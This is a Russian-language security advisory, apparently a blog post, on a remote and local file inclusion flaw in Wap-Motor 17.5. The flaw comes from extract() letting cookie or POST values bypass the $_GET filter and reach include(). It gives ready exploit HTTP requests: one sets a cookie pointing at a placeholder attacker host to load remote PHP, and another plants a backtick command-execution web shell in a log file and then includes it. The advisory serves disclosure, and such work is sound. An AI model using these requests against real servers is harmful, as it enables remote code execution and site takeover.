Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии
Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:
<?php extract($HTTP_GET_VARS); extract($HTTP_POST_VARS); extract($HTTP_COOKIE_VARS); extract($HTTP_SERVER_VARS); extract($HTTP_SESSION_VARS); ?>
На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):
<?php if(empty($f)){$f='index';} echo $p.'/'.$f.'.'.$config_ras; $sfx = file($p.'/'.$f.'.'.$config_ras); if (!$sfx){ echo 'Файл с данными параметрами не найден!'; }else{ include_once $p.'/'.$f.'.'.$config_ras; } ?>
Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):
<?php if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;} ?>
При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.
RFI-эксплоит (для удачной эксплуатации на удаленном сервере необходимо создать файл s.mot с php-кодом, а также allow_url_fopen=on):
GET /index.php HTTP/1.0 Host: localhost Cookie: p=http://eViLhOsT; f=s; Connection: close
LFI-эксплоит (нужна сессия пользователя, а также необходим magic_quotes_gpc=off):
GET /index.php/%3C%3Fphp+echo+%60%7B$_COOKIE%5B'c'%5D%7D%60%3B+%3F%3E HTTP/1.0 Host: localhost Cookie: p=local/who.dat%00; c=id; SID=qsm8nce7777k4tvkt0vfbiem41; Connection: close
Несмотря на путь, будет запрошен скрипт index.php, и в файл local/who.dat, логирующий активность недавних пользователей, будет записан следующий код:
<?php echo `{$_COOKIE['c']}`; ?>
При этом произойдет обращение к local/who.dat с параметром c, который содержит команду для выполнения.
Разработчик проинформирован и принял соответствующие меры.
Leave a Reply